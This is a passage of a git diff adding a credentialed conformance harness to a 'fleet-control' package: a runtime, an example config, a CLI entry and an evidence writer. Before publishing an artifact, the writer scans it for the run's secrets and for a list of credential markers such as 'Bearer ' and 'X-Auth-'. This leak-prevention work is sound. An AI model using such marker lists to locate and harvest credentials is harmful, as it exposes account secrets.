+        // No recorded teardown and no settled scenario. This predicate's
+        // complement — a recorded teardown, a failed scenario, a complete
+        // scenario — skips straight to teardown on the journal's own record.
+        if (
+          snapshot.teardown === undefined &&
+          (snapshot.scenario === undefined ||
+            (snapshot.scenario.failure === null &&
+              snapshot.scenario.phase !== 'complete'))
+        ) {
+          const invocation = await modules.bootstrap({
+            ...networkInput,
+            invokeSecret: input.env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET,
+          });
+          const scenario = await modules.scenario({
+            ...networkInput,
+            invocation,
+          });
+          if (
+            scenario.status === 'failed' &&
+            scenario.reason === 'outcome-unknown'
+          )
+            invocationFailureDetail = scenario.detail;
+          restart = scenario.status === 'restart-required';
+        }
+        if (restart) {
+          outcome = {
+            status: 'restart-required',
+            exitCode: exits.restartRequired,
+            teardownCall: null,
+          };
+        } else {
+          // The other branches converge here.
+          const teardown = await modules.teardown({
+            ...networkInput,
+            ...(input.delay ? { delay: input.delay } : {}),
+          });
+          const status =
+            teardown.status === 'cleaned'
+              ? 'cleaned'
+              : journal.snapshot().teardown?.phase === 'refused'
+                ? 'failed'
+                : 'retained';
+          outcome = {
+            status,
+            exitCode:
+              status === 'cleaned'
+                ? exits.success
+                : status === 'failed'
+                  ? exits.failed
+                  : exits.retained,
+            teardownCall: {
+              status: teardown.status,
+              failure:
+                teardown.status === 'retained'
+                  ? { code: teardown.reason }
+                  : null,
+              providerRequests: teardown.facts.providerRequests,
+            },
+          };
+        }
+      }
+    }
+  } catch (error) {
+    // Reminting through the class re-validates a `code` the thrower owns
+    // against the class's own vocabulary, which an instance can carry past.
+    code =
+      error instanceof DirectRunStateError
+        ? new DirectRunStateError(error.code).code
+        : error instanceof DirectBootstrapError
+          ? new DirectBootstrapError(error.code).code
+          : codes.internalError;
+    if (error instanceof DirectBootstrapError)
+      detail = new DirectBootstrapError(error.code, error.detail).detail;
+    outcome = {
+      status: 'failed',
+      exitCode: exits.failed,
+      teardownCall: null,
+    };
+  } finally {
+    const handle = journal ?? inspection;
+    if (handle) {
+      let projected = false;
+      let evidence;
+      let directory;
+      try {
+        const snapshot = journal ? journal.snapshot() : inspection.snapshot;
+        evidence = buildDirectEvidence({
+          snapshot,
+          invocationFailureDetail,
+          prepared,
+          mode: input.mode,
+          outcome,
+          times: { finishedAt: timestamp(now) },
+          commit: commitFrom(input.git ?? (() => gitCommit(input.env))),
+        });
+        summary = {
+          status: evidence.status,
+          exitCode: evidence.exitCode,
+          ...(code ? { code } : {}),
+          ...(detail ? { detail } : {}),
+          resourcePrefix: evidence.resourcePrefix,
+          resumeCount: evidence.resumeCount,
+          scenario: evidence.scenario
+            ? {
+                phase: evidence.scenario.phase,
+                failure: evidence.scenario.failure,
+                invocationCount: evidence.scenario.invocationCount,
+              }
+            : null,
+          teardownCall: evidence.teardownCall,
+          retainedIdentities: evidence.retainedIdentities,
+          ...(outcome.status === 'restart-required'
+            ? { command: DIRECT_CONFORMANCE_COMMANDS.resume }
+            : {}),
+        };
+        // The handle owns the layout; this module derives none of its own.
+        directory = handle.directory;
+        projected = true;
+      } catch {
+        outcome.exitCode = exits.evidenceFailed;
+        summary = evidenceFailureSummary(evidenceWritten);
+      }
+      if (projected) {
+        try {
+          const written = await modules.writeEvidence({
+            directory,
+            evidence,
+            sentinels,
+          });
+          evidenceWritten = written.written;
+          if (written.written) evidencePath = join(directory, 'evidence.json');
+          if (!written.written) {
+            outcome.exitCode = exits.evidenceFailed;
+            // A withheld artifact carries one class member: the credential
+            // class the scan matched, or the refusal class of an identity
+            // whose shape the boundary rejects. The summary forwards the one
+            // that is present beside its path.
+            const { sentinelClass, refusalClass, keyPath } = written;
+            summary = evidenceFailureSummary(
+              evidenceWritten,
+              (sentinelClass ?? refusalClass)
+                ? {
+                    ...(sentinelClass === undefined
+                      ? { refusalClass }
+                      : { sentinelClass }),
+                    keyPath,
+                  }
+                : undefined,
+            );
+          }
+        } catch (error) {
+          evidenceWritten = error instanceof DirectEvidenceWriteError;
+          // The class is raised only after replacement, so the artifact the run
+          // reports is the one on disk.
+          if (evidenceWritten) evidencePath = join(directory, 'evidence.json');
+          outcome.exitCode = exits.evidenceFailed;
+          summary = evidenceFailureSummary(evidenceWritten);
+        }
+      }
+      summary = { ...summary, evidenceWritten };
+      try {
+        await handle.close();
+      } catch {
+        outcome.exitCode = resolveDirectExitCode(
+          outcome.exitCode,
+          exits.failed,
+        );
+        if (outcome.exitCode !== exits.evidenceFailed)
+          summary = { code: codes.internalError, evidenceWritten };
+      }
+    }
+  }
+  if (
+    code === codes.internalError &&
+    resolveDirectExitCode(outcome.exitCode, exits.failed) === exits.failed
+  )
+    return result(exits.failed, { code }, evidencePath);
+  return result(
+    outcome.exitCode,
+    summary ?? {
+      code,
+      ...(code === 'run-exists'
+        ? { command: '--resume' }
+        : code === 'run-missing'
+          ? { command: '--run' }
+          : {}),
+    },
+    evidencePath,
+  );
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance.example.json b/packages/fleet-control/scripts/direct-credentialed-conformance.example.json
new file mode 100644
index 00000000..67d8b038
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-conformance.example.json
@@ -0,0 +1,35 @@
+{
+  "contractVersion": 1,
+  "disposableAccount": true,
+  "resourcePrefix": "fc0123456789abcdef01234567",
+  "environment": "conformance",
+  "ownedHostname": "example.test",
+  "referenceWorker": {
+    "artifact": {
+      "bundle": "./artifacts/direct-reference-template.mjs",
+      "mainModule": "worker.js",
+      "sha256": "0000000000000000000000000000000000000000000000000000000000000000"
+    },
+    "compatibilityDate": "2026-08-06",
+    "compatibilityFlags": ["global_fetch_strictly_public"],
+    "cpuLimitMs": 30000,
+    "subrequestLimit": 10000,
+    "requestTimeoutMs": 30000,
+    "invocationTimeoutMs": 600000,
+    "maxProviderRequests": 100,
+    "maxInvocations": 1000
+  },
+  "deployment": {
+    "artifact": {
+      "bundle": "./artifacts/direct-tenant.mjs",
+      "mainModule": "worker.js",
+      "sha256": "0000000000000000000000000000000000000000000000000000000000000000"
+    },
+    "compatibilityDate": "2026-08-06",
+    "compatibilityFlags": [],
+    "cpuLimitMs": 50,
+    "subrequestLimit": 50,
+    "spec": { "fixtureVersion": 1 }
+  },
+  "interruption": "after-migration-admission"
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance.mjs
new file mode 100644
index 00000000..8c14e6c7
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-conformance.mjs
@@ -0,0 +1,95 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  DIRECT_CONFORMANCE_EXIT_CODES,
+  DIRECT_CREDENTIAL_VARIABLES,
+  DIRECT_INTERNAL_ERROR_DIAGNOSTIC,
+  DIRECT_USAGE_DIAGNOSTIC,
+  directLineCarries,
+  directStdoutOf,
+  directWritesStderr,
+  isDirectLiveMode,
+  parseDirectConformanceArgs,
+  resolveDirectExitCode,
+  runDirectConformance,
+} from './direct-credentialed-conformance-runtime.mjs';
+
+const exits = DIRECT_CONFORMANCE_EXIT_CODES;
+let terminal = null;
+const secrets = new Map();
+let transcript = '';
+function setExitCode(next) {
+  terminal = resolveDirectExitCode(terminal, next);
+  process.exitCode = terminal;
+}
+/**
+ * Returns whether the entry wrote the line; a suppressed required stdout
+ * summary resolves to exit 5, while a suppressed stderr copy or fixed
+ * diagnostic preserves the resolved code. A reader sees the two descriptors in
+ * either order, so both concatenations are scanned. `secrets` stays empty
+ * outside a live mode, where the CLI reads no credential, so nothing is
+ * withheld there.
+ */
+function write(stream, line) {
+  const values = [...secrets.values()];
+  if (
+    directLineCarries(transcript + line, values) ||
+    directLineCarries(line + transcript, values)
+  )
+    return false;
+  transcript += line;
+  stream.write(line);
+  return true;
+}
+// Suppression covers every line this entry writes in a live mode, the internal
+// error diagnostic and the argv usage line included.
+function internalError() {
+  setExitCode(exits.failed);
+  write(process.stderr, DIRECT_INTERNAL_ERROR_DIAGNOSTIC);
+}
+// Registered before the argv parse and the trap construction, so a fault in
+// either is reported through the same guarded diagnostic.
+process.on('unhandledRejection', internalError);
+process.on('uncaughtException', internalError);
+const mode = parseDirectConformanceArgs(process.argv.slice(2));
+const live = isDirectLiveMode(mode);
+// A live mode reads its credentials through this trap, which records each one
+// for the guard above. A local mode is specified to run without credentials and
+// is handed an empty environment; `help` reads no configuration path either.
+const env = live
+  ? new Proxy(process.env, {
+      get(target, variable) {
+        if (!DIRECT_CREDENTIAL_VARIABLES.includes(variable))
+          return Reflect.get(target, variable);
+        if (!secrets.has(variable)) secrets.set(variable, target[variable]);
+        return secrets.get(variable);
+      },
+    })
+  : {};
+/**
+ * Records every live credential, so a refusal the runtime returns before its
+ * own credential read is still scanned against the full list.
+ */
+const armGuard = () => {
+  for (const variable of DIRECT_CREDENTIAL_VARIABLES) void env[variable];
+};
+if (mode === null) {
+  setExitCode(exits.invalidInput);
+  write(process.stderr, DIRECT_USAGE_DIAGNOSTIC);
+} else {
+  runDirectConformance({
+    mode,
+    configPath:
+      mode === 'help' ? undefined : process.env.FLEET_DIRECT_CONFORMANCE_CONFIG,
+    env,
+  })
+    .then((result) => {
+      armGuard();
+      setExitCode(result.exitCode);
+      const stdout = directStdoutOf(result);
+      if (stdout !== '' && !write(process.stdout, stdout))
+        setExitCode(exits.evidenceFailed);
+      if (directWritesStderr(result)) write(process.stderr, result.stderrLine);
+    })
+    .catch(internalError);
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts b/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts
new file mode 100644
index 00000000..3b406e25
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts
@@ -0,0 +1,174 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs';
+import type { DirectInvocationFailureDetail } from './direct-credentialed-invocation.mjs';
+import type {
+  DirectRunSnapshot,
+  DirectTeardownFailure,
+} from './direct-credentialed-run-state.mjs';
+import type { DirectTeardownOutcome } from './direct-credentialed-teardown.mjs';
+
+/** The modes that reach the provider, and therefore the modes evidence covers. */
+export type DirectLiveMode = 'run' | 'resume';
+export type DirectEvidenceStatus =
+  | 'cleaned'
+  | 'retained'
+  | 'restart-required'
+  | 'failed'
+  | 'outcome-unknown';
+export type DirectEvidenceTeardownCall = Readonly<{
+  status: DirectTeardownOutcome['status'];
+  failure: Readonly<{ code: DirectTeardownFailure }> | null;
+  providerRequests: number;
+}>;
+export type DirectEvidenceSentinels = Readonly<{
+  secrets: readonly string[];
+  literals: readonly string[];
+}>;
+export type DirectEvidenceSentinelHit = Readonly<{
+  /** The credential class the scan matched. A shape refusal carries none. */
+  sentinelClass?: 'env-secret' | 'literal';
+  /**
+   * Set instead of `sentinelClass` when the value at `keyPath` is a provider
+   * identity of the wrong shape: the artifact is withheld for what the journal
+   * carries, not for a credential the scan found in it.
+   */
+  refusalClass?: 'identity-shape';
+  /**
+   * The dotted path the scan stopped at, empty when the sentinel is completed
+   * by the serialization's own structure rather than by a member. It is
+   * diagnostic provenance and can itself contain a credential, because an
+   * object key that is one becomes part of the path: scan any line rendering
+   * it before printing that line.
+   */
+  keyPath: string;
+}>;
+export const DIRECT_EVIDENCE_LITERALS: readonly string[];
+/** The commands the artifact publishes and the runtime names in a restart summary. */
+export const DIRECT_CONFORMANCE_COMMANDS: Readonly<{
+  run: string;
+  resume: string;
+}>;
+/**
+ * Every key name the projection writes, including the scenario phases and the
+ * residual surfaces. A credential one of these contains ends a run at
+ * publication, which is why live-mode admission refuses it. Array elements are
+ * keyed by index instead, which admission answers with its digits-only rule.
+ */
+export const DIRECT_EVIDENCE_KEYS: readonly string[];
+/**
+ * The dotted paths of the projected provider strings the journal decodes with
+ * `identifier`, each guarded against the identity shape. A prefix-derived name
+ * is absent because it is the run's own; a value the journal bounds to the
+ * scenario charset is absent because that charset is strictly wider than the
+ * identity shape, so a guard on it refuses values the journal admits.
+ */
+export const DIRECT_EVIDENCE_IDENTITY_PATHS: readonly string[];
+/**
+ * Raised only after the artifact has replaced its predecessor, so catching the
+ * class is itself the proof that `evidence.json` exists.
+ */
+export class DirectEvidenceWriteError extends Error {
+  constructor();
+}
+export type DirectEvidenceScenarioFailure = Readonly<{
+  code: string;
+  ordinal: number;
+  detail: string | null;
+}>;
+export type DirectEvidenceScenario = Readonly<{
+  phase: string;
+  failure: DirectEvidenceScenarioFailure | null;
+  invocationCount: number;
+  sdkRequests: number | null;
+  attempts: Readonly<Record<string, number>>;
+  phaseCalls: Readonly<Record<string, number>>;
+  restart: Readonly<Record<string, unknown>> | null;
+  initial: Readonly<Record<string, unknown>>;
+  candidate: Readonly<Record<string, unknown>>;
+  final: Readonly<Record<string, unknown>>;
+  fence: Readonly<Record<string, unknown>>;
+  exports: Readonly<Record<string, unknown>>;
+  inventories: Readonly<Record<string, unknown>>;
+  terminalForce: Readonly<Record<string, unknown>>;
+}>;
+export type DirectEvidenceCost = Readonly<{
+  basis: 'request-counters';
+  referenceProvider: number | null;
+  referenceMaintenance: number | null;
+  referenceApplication: number | null;
+  sdkRequests: number | null;
+  referenceInvocations: number;
+  teardownProvider: number | null;
+  billed: null;
+}>;
+/**
+ * The evidence artifact, in the member order `writeDirectEvidence` serializes
+ * and `evidence.json` carries. The allowlist is the artifact's contract: a
+ * member absent here is a member the projection does not write.
+ */
+export type DirectEvidenceArtifact = Readonly<{
+  version: 1;
+  contractVersion: number;
+  packageVersion: string;
+  commit: string | null;
+  mode: DirectLiveMode;
+  status: DirectEvidenceStatus;
+  exitCode: number;
+  startedAt: string | null;
+  finishedAt: string;
+  resumeCount: number;
+  accountIdSha256Suffix: string;
+  zoneIdSha256Suffix: string | null;
+  resourcePrefix: string;
+  maxInvocations: number;
+  disposableAccount: boolean;
+  configSha256: string;
+  referenceModuleSetSha256: string;
+  referenceUploadBytes: number;
+  commands: readonly string[];
+  bootstrap: Readonly<Record<string, unknown>> | null;
+  scenario: DirectEvidenceScenario | null;
+  teardown: Readonly<Record<string, unknown>> | null;
+  teardownCall: DirectEvidenceTeardownCall | null;
+  retainedIdentities: Readonly<Record<string, string | null>>;
+  cost: DirectEvidenceCost;
+}>;
+export function buildDirectEvidence(
+  input: Readonly<{
+    snapshot: DirectRunSnapshot;
+    invocationFailureDetail?: DirectInvocationFailureDetail;
+    prepared: PreparedDirectConformance;
+    mode: DirectLiveMode;
+    outcome: Readonly<{
+      status: DirectEvidenceStatus;
+      exitCode: number;
+      teardownCall: DirectEvidenceTeardownCall | null;
+    }>;
+    times: Readonly<{ finishedAt: string }>;
+    commit: string | null;
+  }>,
+): DirectEvidenceArtifact;
+/**
+ * `serialized` is the exact byte sequence a caller publishes or prints: the
+ * JSON text of `evidence` with the trailing newline already appended. A caller
+ * that adds its own terminator writes two.
+ */
+export function inspectDirectEvidence(
+  evidence: object,
+  sentinels: DirectEvidenceSentinels,
+): Readonly<{ hit: DirectEvidenceSentinelHit | null; serialized: string }>;
+/**
+ * Publishes the artifact, or withholds it and returns the hit that stopped it:
+ * a refusal carries the same `keyPath` and the same class member — a
+ * `sentinelClass` for a credential, a `refusalClass` for a shape — the scan
+ * reports.
+ */
+export function writeDirectEvidence(
+  input: Readonly<{
+    directory: string;
+    evidence: object;
+    sentinels: DirectEvidenceSentinels;
+    readBack?: (path: string) => Promise<Buffer>;
+  }>,
+): Promise<Readonly<{ written: boolean }> & Partial<DirectEvidenceSentinelHit>>;
diff --git a/packages/fleet-control/scripts/direct-credentialed-evidence.mjs b/packages/fleet-control/scripts/direct-credentialed-evidence.mjs
new file mode 100644
index 00000000..d3f40a38
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-evidence.mjs
@@ -0,0 +1,497 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash, randomUUID } from 'node:crypto';
+import { constants } from 'node:fs';
+import { open, readFile, rename, unlink } from 'node:fs/promises';
+import { createRequire } from 'node:module';
+import { join } from 'node:path';
+import { DIRECT_INVOCATION_FAILURE_DETAILS } from './direct-credentialed-invocation.mjs';
+import { DIRECT_RESIDUAL_SURFACES } from './direct-credentialed-reference-vocabulary.mjs';
+import {
+  assertPrivate,
+  fileFlags,
+  sweepStagedFiles,
+} from './direct-credentialed-run-state.mjs';
+import { DIRECT_SCENARIO_PHASES } from './direct-credentialed-scenario-budget.mjs';
+import { survivingIdentities } from './direct-credentialed-teardown.mjs';
+
+const { version: packageVersion } = createRequire(import.meta.url)(
+  '../package.json',
+);
+export const DIRECT_EVIDENCE_LITERALS = Object.freeze([
+  'Bearer ',
+  'claimJson',
+  'tokenJson',
+  'SELECT ',
+  'CREATE TABLE ',
+  'INSERT INTO ',
+  'X-Auth-',
+  'X-Direct-',
+]);
+/** The commands the artifact publishes and the runtime names in a restart summary. */
+export const DIRECT_CONFORMANCE_COMMANDS = Object.freeze({
+  run: 'pnpm fleet-control:credentialed:direct -- --run',
+  resume: 'pnpm fleet-control:credentialed:direct -- --resume',
+});
+/**
+ * Every key name the projection writes. The scan compares each key against the
+ * run's credentials, so a credential one of these contains ends the run at
+ * publication; live-mode admission refuses such a credential instead.
+ * `test/direct-credentialed-evidence.test.ts` walks a maximal artifact against
+ * this list, so a projected key absent here is a red test rather than a gap.
+ * Array elements carry an index in place of a name, which admission answers
+ * with its digits-only rule rather than with a member here.
+ */
+export const DIRECT_EVIDENCE_KEYS = Object.freeze([
+  'a',
+  'accountIdSha256Suffix',
+  'activeVersionId',
+  'after',
+  'application',
+  'attempts',
+  'b',
+  'basis',
+  'before',
+  'billed',
+  'bootstrap',
+  'bucketJurisdictions',
+  'candidate',
+  'categoryCount',
+  'code',
+  'commands',
+  'commit',
+  'configSha256',
+  'contractVersion',
+  'cost',
+  'count',
+  'cpuLimitMs',
+  'current',
+  'databaseId',
+  'detail',
+  'disposableAccount',
+  'dispatch',
+  'drain',
+  'emptyCount',
+  'exhaustive',
+  'exitCode',
+  'exportBucket',
+  'exportObjects',
+  'exports',
+  'failure',
+  'fence',
+  'final',
+  'finishedAt',
+  'first',
+  'fleet',
+  'fleetUuid',
+  'future',
+  'globalCount',
+  'ingress',
+  'initial',
+  'intervalMs',
+  'inventories',
+  'invocationCount',
+  'kind',
+  'location',
+  'lossOrdinal',
+  'maintenance',
+  'maxInvocations',
+  'missing',
+  'mode',
+  'mutationEpoch',
+  'ordinal',
+  'packageVersion',
+  'phase',
+  'phaseCalls',
+  'prefixCount',
+  'probes',
+  'provider',
+  'providerRequests',
+  'quota',
+  'quotaUuid',
+  'receipts',
+  'recovery',
+  'referenceApplication',
+  'referenceInvocations',
+  'referenceMaintenance',
+  'referenceModuleSetSha256',
+  'referenceProvider',
+  'referenceUploadBytes',
+  'reopen',
+  'replayOrdinal',
+  'requireMutationEpoch',
+  'residual',
+  'resourcePrefix',
+  'restart',
+  'resumeCount',
+  'resumedProcess',
+  'retainedIdentities',
+  'routeHostnames',
+  'scenario',
+  'scriptName',
+  'sdkRequests',
+  'second',
+  'secretNameCount',
+  'settleAttempts',
+  'settledByReread',
+  'sha256',
+  'size',
+  'stale',
+  'standingCount',
+  'startedAt',
+  'state',
+  'status',
+  'surfaces',
+  'sweeps',
+  'teardown',
+  'teardownCall',
+  'teardownProvider',
+  'terminalForce',
+  'trafficPercentage',
+  'transitionRevision',
+  'version',
+  'versionId',
+  'versionsGone',
+  'workCount',
+  'worker',
+  'zoneIdSha256Suffix',
+  ...DIRECT_SCENARIO_PHASES,
+  ...DIRECT_RESIDUAL_SURFACES,
+]);
+// The transports a reference invocation can take, and therefore the counters
+// every attempt record carries.
+const TRANSPORTS = ['provider', 'maintenance', 'application'];
+// The staging name a publication writes under, before the rename that makes it
+// `evidence.json`.
+const TEMPORARY_PREFIX = '.evidence-';
+const TEMPORARY_SUFFIX = '.tmp';
+const pick = (value, keys) =>
+  Object.fromEntries(keys.map((key) => [key, value[key]]));
+const nullable = (value, project) => (value == null ? null : project(value));
+// Keyed projection over a fixed member set: roles for most proofs, and a
+// before/after pair for the inventories.
+const members = (value, keys, project) =>
+  Object.fromEntries(keys.map((key) => [key, nullable(value[key], project)]));
+const suffix = (value) =>
+  createHash('sha256').update(value).digest('hex').slice(-8);
+const reading = (value) =>
+  pick(value, [
+    'state',
+    'mutationEpoch',
+    'requireMutationEpoch',
+    'transitionRevision',
+  ]);
+const transition = (value) => ({
+  before: reading(value.before),
+  after: nullable(value.after, reading),
+});
+const sweep = (value) => ({
+  fence: reading(value.fence),
+  categoryCount: value.categories.length,
+  workCount: value.categories.filter((category) => category.class === 'work')
+    .length,
+  standingCount: value.categories.filter(
+    (category) => category.class === 'standing',
+  ).length,
+  emptyCount: value.categories.filter((category) => category.empty).length,
+});
+const settlement = (value) => pick(value, ['settledByReread']);
+
+export function buildDirectEvidence({
+  snapshot,
+  invocationFailureDetail,
+  prepared,
+  mode,
+  outcome,
+  times,
+  commit,
+}) {
+  const bootstrap = snapshot.bootstrap;
+  const scenario = snapshot.scenario;
+  const invocationFailure =
+    snapshot.lastInvocation?.state === 'pending' &&
+    DIRECT_INVOCATION_FAILURE_DETAILS.includes(invocationFailureDetail)
+      ? {
+          code: 'outcome-unknown',
+          ordinal: snapshot.lastInvocation.ordinal,
+          detail: invocationFailureDetail,
+        }
+      : null;
+  const teardown = snapshot.teardown;
+  const receipts = teardown?.receipts;
+  const observation = (value) => pick(value, ['versionId', 'cpuLimitMs']);
+  const traffic = (value) =>
+    pick(value, ['versionId', 'cpuLimitMs', 'trafficPercentage']);
+  const scenarioSection = nullable(scenario, (value) => ({
+    phase: value.phase,
+    failure: nullable(value.failure ?? invocationFailure, (failure) => ({
+      code: failure.code,
+      ordinal: failure.ordinal,
+      detail: failure.detail ?? null,
+    })),
+    invocationCount: snapshot.invocationCount,
+    sdkRequests: value.sdkRequests,
+    attempts: pick(value.attempts, TRANSPORTS),
+    phaseCalls: pick(value.phaseCalls, DIRECT_SCENARIO_PHASES),
+    restart: nullable(value.proofs.restart, (restart) => ({
+      lossOrdinal: restart.lossOrdinal,
+      replayOrdinal: restart.replayOrdinal,
+      resumedProcess: restart.resumedProcess !== null,
+    })),
+    initial: members(value.proofs.initial, ['a', 'b', 'recovery'], observation),
+    candidate: members(value.proofs.candidate, ['a', 'b'], traffic),
+    final: members(value.proofs.final, ['a', 'b'], traffic),
+    fence: {
+      drain: members(value.proofs.fence.drain, ['a', 'b'], transition),
+      sweeps: members(value.proofs.fence.sweeps, ['a', 'b'], (sweeps) => ({
+        first: sweep(sweeps.first),
+        second: nullable(sweeps.second, sweep),
+        intervalMs: sweeps.intervalMs,
+      })),
+      reopen: members(value.proofs.fence.reopen, ['a', 'b'], transition),
+      probes: members(value.proofs.fence.probes, ['a', 'b'], (probe) =>
+        pick(probe, ['current', 'missing', 'stale', 'future', 'mutationEpoch']),
+      ),
+    },
+    exports: members(value.proofs.exports, ['a', 'b'], (proof) =>
+      pick(proof, ['location', 'size', 'sha256']),
+    ),
+    inventories: members(
+      value.proofs.inventories,
+      ['before', 'after'],
+      (proof) => pick(proof, ['routeHostnames']),
+    ),
+    terminalForce: members(value.proofs.terminalForce, ['a'], (proof) => ({
+      ...pick(proof, ['databaseId', 'scriptName', 'ordinal']),
+      attempts: pick(proof.attempts, TRANSPORTS),
+    })),
+  }));
+  const teardownSection = nullable(teardown, (value) => ({
+    failure: value.failure,
+    phase: value.phase,
+    providerRequests: value.providerRequests,
+    receipts: {
+      ingress: nullable(value.receipts.ingress, settlement),
+      worker: nullable(value.receipts.worker, (worker) => ({
+        settledByReread: worker.settledByReread,
+        secretNameCount: worker.secretNames.length,
+      })),
+      fleet: nullable(value.receipts.fleet, settlement),
+      quota: nullable(value.receipts.quota, settlement),
+      exports: nullable(value.receipts.exports, settlement),
+      exportObjects: {
+        count: value.receipts.exportObjects.length,
+        settledByReread: value.receipts.exportObjects.filter(
+          (receipt) => receipt.settledByReread,
+        ).length,
+      },
+    },
+    residual: nullable(value.residual, (residual) => ({
+      surfaces: Object.fromEntries(
+        DIRECT_RESIDUAL_SURFACES.map((key) => [
+          key,
+          pick(residual.surfaces[key], [
+            'prefixCount',
+            'globalCount',
+            'exhaustive',
+          ]),
+        ]),
+      ),
+      bucketJurisdictions: [...residual.bucketJurisdictions],
+      dispatch: pick(residual.dispatch, [
+        'kind',
+        'count',
+        'status',
+        'prefixCount',
+      ]),
+      versionsGone: residual.versionsGone,
+      settleAttempts: residual.settleAttempts,
+    })),
+  }));
+  return {
+    version: 1,
+    contractVersion: prepared.manifest.contractVersion,
+    packageVersion,
+    commit,
+    mode,
+    status: outcome.status,
+    exitCode: outcome.exitCode,
+    startedAt: snapshot.createdAt ?? null,
+    finishedAt: times.finishedAt,
+    resumeCount: snapshot.resumeCount ?? 0,
+    accountIdSha256Suffix: suffix(snapshot.binding.accountId),
+    zoneIdSha256Suffix: bootstrap ? suffix(bootstrap.context.zoneId) : null,
+    resourcePrefix: snapshot.binding.resourcePrefix,
+    maxInvocations: snapshot.binding.maxInvocations,
+    disposableAccount: prepared.config.disposableAccount,
+    configSha256: prepared.configSha256,
+    referenceModuleSetSha256: prepared.referenceModuleSetSha256,
+    referenceUploadBytes: prepared.referenceUploadBytes,
+    commands: [
+      DIRECT_CONFORMANCE_COMMANDS.run,
+      DIRECT_CONFORMANCE_COMMANDS.resume,
+    ],
+    bootstrap: nullable(bootstrap, (value) => ({
+      dispatch: pick(value.context.dispatch, ['kind', 'count']),
+      activeVersionId: value.active?.versionId ?? null,
+    })),
+    scenario: scenarioSection,
+    teardown: teardownSection,
+    teardownCall: outcome.teardownCall,
+    // The survival rule is teardown's: a receipt for a resource means the
+    // resource is gone, so the identity it had is no longer retained.
+    retainedIdentities: survivingIdentities(bootstrap, receipts ?? {}),
+    cost: {
+      basis: 'request-counters',
+      referenceProvider: scenarioSection?.attempts.provider ?? null,
+      referenceMaintenance: scenarioSection?.attempts.maintenance ?? null,
+      referenceApplication: scenarioSection?.attempts.application ?? null,
+      sdkRequests: scenarioSection?.sdkRequests ?? null,
+      // Read from the snapshot rather than from the scenario section, which
+      // is the one counter that survives a run with no scenario at all.
+      referenceInvocations: snapshot.invocationCount,
+      teardownProvider: teardownSection?.providerRequests ?? null,
+      billed: null,
+    },
+  };
+}
+
+/**
+ * The dotted paths of the projected provider strings the journal decodes with
+ * `identifier` — any trimmed, control-free string up to 128 characters — which
+ * is wider than the identity shape below, so these are the paths at which a
+ * decoded journal can still carry a value the evidence boundary must refuse.
+ * Two rules keep a path out of the list. A prefix-derived name such as
+ * `retainedIdentities.exportBucket` or `retainedIdentities.scriptName` is the
+ * run's own, not the provider's. A value the journal bounds to the scenario
+ * charset (`run-state.mjs`'s `scenarioId`) rests on that bound alone: the
+ * charset is strictly wider than the identity shape — it accepts `:`, and a
+ * leading `.`, `-` or `_` — so a guard on such a path refuses values the
+ * journal admits rather than restating a check it has already made.
+ * `test/direct-credentialed-evidence.test.ts` resolves every member against a
+ * maximal artifact, so a renamed or moved projection key is a red test rather
+ * than a guard that silently stops matching.
+ */
+export const DIRECT_EVIDENCE_IDENTITY_PATHS = Object.freeze([
+  'retainedIdentities.fleetUuid',
+  'retainedIdentities.quotaUuid',
+  'retainedIdentities.activeVersionId',
+  'bootstrap.activeVersionId',
+]);
+const identityPaths = new Set(DIRECT_EVIDENCE_IDENTITY_PATHS);
+
+/**
+ * `hit.keyPath` is diagnostic provenance, not withheld output: an object key
+ * that is itself a credential becomes part of the path, so a caller that
+ * prints a hit scans the rendered line against the same sentinels first. The
+ * CLI's own line guard is what makes its refusal output safe.
+ */
+export function inspectDirectEvidence(evidence, sentinels) {
+  const serialized = `${JSON.stringify(evidence)}\n`;
+  const decoded = JSON.parse(serialized);
+  const entries = [
+    ...sentinels.secrets
+      .filter((value) => typeof value === 'string' && value.length > 0)
+      .map((value) => ({ value, sentinelClass: 'env-secret' })),
+    ...sentinels.literals.map((value) => ({ value, sentinelClass: 'literal' })),
+  ];
+  const hit = (value, keyPath) => {
+    const found = entries.find((entry) => value.includes(entry.value));
+    return found ? { sentinelClass: found.sentinelClass, keyPath } : null;
+  };
+  const walk = (value, path) => {
+    if (typeof value === 'string') {
+      const found = hit(value, path);
+      if (found) return found;
+      if (
+        identityPaths.has(path) &&
+        !/^[A-Za-z0-9][A-Za-z0-9._-]{0,127}$/u.test(value)
+      )
+        return { refusalClass: 'identity-shape', keyPath: path };
+    }
+    if (value && typeof value === 'object') {
+      for (const [key, child] of Object.entries(value)) {
+        const keyPath = path ? `${path}.${key}` : key;
+        const found = hit(key, keyPath) ?? walk(child, keyPath);
+        if (found) return found;
+      }
+    }
+    return null;
+  };
+  const found = walk(decoded, '');
+  if (found) return { hit: found, serialized };
+  const byteHit = hit(serialized, '');
+  if (!byteHit) return { hit: null, serialized };
+  for (const [key, value] of Object.entries(decoded)) {
+    const member = `${JSON.stringify(key)}:${JSON.stringify(value)}`;
+    const memberHit = hit(member, key);
+    if (memberHit) return { hit: memberHit, serialized };
+  }
+  // No member span carries it, so the sentinel is completed by the
+  // serialization's own structure — a separator, a brace, the trailing
+  // newline. The empty path names that: the hit belongs to the document, not
+  // to any member of it.
+  return { hit: byteHit, serialized };
+}
+
+/** Raised only after the artifact has replaced its predecessor, so the class is the publication proof. */
+export class DirectEvidenceWriteError extends Error {
+  constructor() {
+    super('evidence-failed');
+  }
+}
+
+export async function writeDirectEvidence({
+  directory,
+  evidence,
+  sentinels,
+  readBack = readFile,
+}) {
+  let file;
+  let parent;
+  let temporary;
+  let written = false;
+  let failed = false;
+  try {
+    const { hit, serialized } = inspectDirectEvidence(evidence, sentinels);
+    if (hit) return { written: false, ...hit };
